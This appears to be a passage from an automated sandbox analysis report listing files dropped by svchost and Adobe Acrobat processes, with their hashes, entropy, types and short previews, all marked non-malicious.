Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x236735a8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.788069175074525
Encrypted:	false
SSDEEP:	1536:HSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:HazaPv4V4fXq2UaB
MD5:	EC7D963EAA1E8E3FAEB2331F2A6F8992
SHA1:	0B49F5B03834B958CCB05525D905693A3BA37F31
SHA-256:	ABF9783240D4050EA6674FE9D828F30294E2169FD550E300074F38601BC0A709
SHA-512:	E42C886545F23A2D7C7216F2659893BC93300F63B98CE912042B4D866AE1110DC8BAD0510E46E03B66908CBBF90929A0A9A65B2CDEB969BAABBA3DA452A00FB4
Malicious:	false
Preview:	#g5.... ...............X\...;...{......................X............{.......};.h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................;`X......}Y>...................(.....};..........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08119588395096447
Encrypted:	false
SSDEEP:	3:RV6YeR+MeqvlmXlVG0+q2Iqe8l4oSkYej/lallNTt/4ll/Q6beV/:qzRb99UGE8llSkY0AHtc6V
MD5:	C7111CB4BEFF1AC56F4CAFA69D5DF81E
SHA1:	5171B8240A786F67CA975E9F96B42BB915D7D1FD
SHA-256:	6CAFF1CFFF90E8B2013B0B49FE37BF2FB0BEC9B2510CB9C33594BD0A11DA1242
SHA-512:	2C80324F75C474765C0B41C01BE7343EB606A810BA2CEFE8F62F8CD4D1F23FFF4B0A7C9DA0B71EA10020375312C611024FC52E0FF4281E1D8AEF078ECDBD660A
Malicious:	false
Preview:	.S.......................................;...{.......};......{...............{.......{....:......{....................(.....};.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.201497953864916
Encrypted:	false
SSDEEP:	6:iOnU+q2PFi2nKuAl9OmbnIFUtFCZmwr9vVkwOFi2nKuAl9OmbjLJ:7npvdZHAahFUtFC/r995wZHAaSJ
MD5:	2AE0413A383073012A6343C5F13504C0
SHA1:	03ECF0615F50BC723E24B076AF1AFD815878393B
SHA-256:	0698B3C6A072136700283F8F7D1F1B0744B73347632A2AF349D2BE07129C23AD
SHA-512:	E7BBE99D394B8E03E15EB092AFF1A33F4B7A6E7C9D66D45495695CD836A25F2C75E015B2028B33D09B4CD31843227FC0B67751AFF1B13D36FFEA5573794F86CA
Malicious:	false
Preview:	2025/01/11-01:13:02.476 1de8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:13:02.478 1de8 Recovering log #3.2025/01/11-01:13:02.479 1de8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.201497953864916
Encrypted:	false
SSDEEP:	6:iOnU+q2PFi2nKuAl9OmbnIFUtFCZmwr9vVkwOFi2nKuAl9OmbjLJ:7npvdZHAahFUtFC/r995wZHAaSJ
MD5:	2AE0413A383073012A6343C5F13504C0
SHA1:	03ECF0615F50BC723E24B076AF1AFD815878393B
SHA-256:	0698B3C6A072136700283F8F7D1F1B0744B73347632A2AF349D2BE07129C23AD
SHA-512:	E7BBE99D394B8E03E15EB092AFF1A33F4B7A6E7C9D66D45495695CD836A25F2C75E015B2028B33D09B4CD31843227FC0B67751AFF1B13D36FFEA5573794F86CA
Malicious:	false
Preview:	2025/01/11-01:13:02.476 1de8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:13:02.478 1de8 Recovering log #3.2025/01/11-01:13:02.479 1de8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.05796582707307
Encrypted:	false
SSDEEP:	6:iOnA1SlL+q2PFi2nKuAl9Ombzo2jMGIFUtFAfKWZmwrAJLVkwOFi2nKuAl9Ombzz:7nA1i+vdZHAa8uFUtFAfKW/rAhV5wZHA
MD5:	D35419C918C88DEE007544EC251EF970
SHA1:	B5728D0AEE6D22BA7CECAC81CEF2522A4F4A9D8F
SHA-256:	00E5C3487580381B3FF304D1A0F8B08683C840CADFEE1EC744197F6242A054AB
SHA-512:	D71CB4BC4DDBBC0FD6CD0965635397ACBD0BADDFE4D665F6B2497F1822C8D55255C508A929FDE0641CFA44CCA8BBD0FFC23EC750BC1B2FE854E3EEB9FD69F43F
Malicious:	false
Preview:	2025/01/11-01:13:02.521 203c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:13:02.522 203c Recovering log #3.2025/01/11-01:13:02.522 203c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.05796582707307
Encrypted:	false
SSDEEP:	6:iOnA1SlL+q2PFi2nKuAl9Ombzo2jMGIFUtFAfKWZmwrAJLVkwOFi2nKuAl9Ombzz:7nA1i+vdZHAa8uFUtFAfKW/rAhV5wZHA
MD5:	D35419C918C88DEE007544EC251EF970
SHA1:	B5728D0AEE6D22BA7CECAC81CEF2522A4F4A9D8F
SHA-256:	00E5C3487580381B3FF304D1A0F8B08683C840CADFEE1EC744197F6242A054AB
SHA-512:	D71CB4BC4DDBBC0FD6CD0965635397ACBD0BADDFE4D665F6B2497F1822C8D55255C508A929FDE0641CFA44CCA8BBD0FFC23EC750BC1B2FE854E3EEB9FD69F43F
Malicious:	false
Preview:	2025/01/11-01:13:02.521 203c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:13:02.522 203c Recovering log #3.2025/01/11-01:13:02.522 203c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\491872c2-39b3-4c3c-a05d-13385ce3fe84.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.978892214856924
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqpsBdOg2H+kAcaq3QYiubpP7E4TX:Y2sRdsTdMHJ3QYhbd7n7
MD5:	66C5DA34DDD8EABC054889C93E9F272C
SHA1:	627740135A3DB5B0A74DF917FB72C2CE6F5C25B6
SHA-256:	540875ABCC549A546B6FCD5BA261AB3191A1BD7BD43525877859DD9645C405C8
SHA-512:	C7D1BF5E6BE45EC4A7CFC7E44635395D62EA134D6080E24D69AFC82CBC7357DB6CC4AC32E7AF72E61600AB474FBC9F785227CB83A87A813D5FF095A480DE8712
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381135994474775","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":204769},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6a4a3ac9-4b3a-4b76-90a5-8409ce76f0e8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3c3c59.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.232280115728085
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVg/Ta/o:wshFT0h7cZb2EVKZPEANcGIK5EVg/Tag
MD5:	4DDC15C0C931D7879FEA618818CB723E
SHA1:	0B3DA88897187F0BBBB0719623BA9CEDDDD14D1E
SHA-256:	D41E40CF2B4A9DC9757C855AE43D84369F17E73910CB4E250C187DC109824686
SHA-512:	F358BADEA7424C106EFBFB3F28B6FAE8489A9613734843CDF3151748D3FB1C8319AFCD8F164AD9D6360CA905F0E13103837E264D88DC2FFC8C105AF9261F78C1
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.136222096740823
Encrypted:	false
SSDEEP:	6:iOn9lL+q2PFi2nKuAl9OmbzNMxIFUtFmFKWZmwr4rLVkwOFi2nKuAl9OmbzNMFLJ:7n9N+vdZHAa8jFUtFuKW/r4PV5wZHAab
MD5:	59740A0AB11BBA47A9C1BF35B7BCE47A
SHA1:	CB97584BBABBBB0BCA59CAD88C2955663C4346E0
SHA-256:	C31CBA4EBF2D2CA13709F8E14C69F4A8616E82E767E28F7CA2C31A09D79F120A
SHA-512:	BD9883BDF8B0D86B4D95720425AF6074A249B4D7FC47233E8386652E6808B812205CA0FFB4A7D3BC2BB9264385DE05DBAB3C3DCFB96A567ABC7CA2DDA89FD7AF
Malicious:	false
Preview:	2025/01/11-01:13:02.738 203c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:13:02.739 203c Recovering log #3.2025/01/11-01:13:02.740 203c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.136222096740823
Encrypted:	false
SSDEEP:	6:iOn9lL+q2PFi2nKuAl9OmbzNMxIFUtFmFKWZmwr4rLVkwOFi2nKuAl9OmbzNMFLJ:7n9N+vdZHAa8jFUtFuKW/r4PV5wZHAab
MD5:	59740A0AB11BBA47A9C1BF35B7BCE47A
SHA1:	CB97584BBABBBB0BCA59CAD88C2955663C4346E0
SHA-256:	C31CBA4EBF2D2CA13709F8E14C69F4A8616E82E767E28F7CA2C31A09D79F120A
SHA-512:	BD9883BDF8B0D86B4D95720425AF6074A249B4D7FC47233E8386652E6808B812205CA0FFB4A7D3BC2BB9264385DE05DBAB3C3DCFB96A567ABC7CA2DDA89FD7AF
Malicious:	false
Preview:	2025/01/11-01:13:02.738 203c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:13:02.739 203c Recovering log #3.2025/01/11-01:13:02.740 203c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438623941925486
Encrypted:	false
SSDEEP:	384:SePci5GSiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:gCurVgazUpUTTGt
MD5:	BAFC8F01FE21E9BA8991485EA7749A2D
SHA1:	589B3E355F12A4F3173251C0A99A62F851397209
SHA-256:	A8A6BC05AE20BEE809EACDACA9749B02A33FED144A2118AFB3A5720D30851ABA
SHA-512:	39FE4C577EAF2956CADC3463C9C8B9AF477200BC11FD8F9F92F96BEAE1CA3F0ABA46A50939F3DF5728D0E231217925A2F5452784078A774ED01C6C24690C116B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.213874083947636
Encrypted:	false
SSDEEP:	24:7+tIk6wKNqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mz4:7MbWNqvmFTIF3XmHjBoGGR+jMz+Lhp
MD5:	E87F00984FF275C70C933D1B7B3ECDB0
SHA1:	1F48BC1622F1F8F7D123B16A3962BBB3861ED60F
SHA-256:	9D6F277CE87009225DE85BF2FF2346E338AED212E08B06D4E92B03B91BB69974
SHA-512:	E42EE3FE375F4F4C855659028C310ACCF98BE029777D21BDE655DBDF1D155880AA92DE4BDE3919EA5807C3FF013A67F23D1AFD07E260ADC91A401F1420ABF3C3
Malicious:	false
Preview:	.... .c.....D...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.732136534099206
Encrypted:	false
SSDEEP:	3:kkFklyDKpstfllXlE/HT8k/ttNNX8RolJuRdxLlGB9lQRYwpDdt:kKrDKyeT8eNMa8RdWBwRd
MD5:	4620919D8C77B1ED1A1D230CBD3D62D0
SHA1:	52F902BDA6280C10BF022EA12D476D0874256DEF
SHA-256:	4593A3982389214F18C690ADDB000ED67A81C1A3EAB2D12D2937398F095C5193
SHA-512:	B7B6484FB43A4B1C03905D921BB5D96A0476270E8A50824D1228E77E42896A486554692031CB460D8EE7B8AC658689143F34CAB14550740F3FA3D5465B63ED5E
Malicious:	false
Preview:	p...... ........A`...c..(....................................................... ..........W....-[..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKpL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:hiDImsLNkPlE99SNxAhUe/3
MD5:	A599CF8889E132360899B5C56C29187C
SHA1:	0EB01785FF60443BA48CCED9F86598D6AC354061
SHA-256:	5D5A7065FAFF0444AB8E56C07ECF4687A10C66DFDA3F9C756C7AB6155E32A992
SHA-512:	C3F23D59016D23B0AC004B82845AE1603B2E7EEEB32FD1A5D3617424597D08E06CDB130E4B005DCAFEBACEC1D547F026C3778CCC6CE5F2BD57EB8C332D00E53C
Malicious:	false
Preview:	p...... .........XN..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7932

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
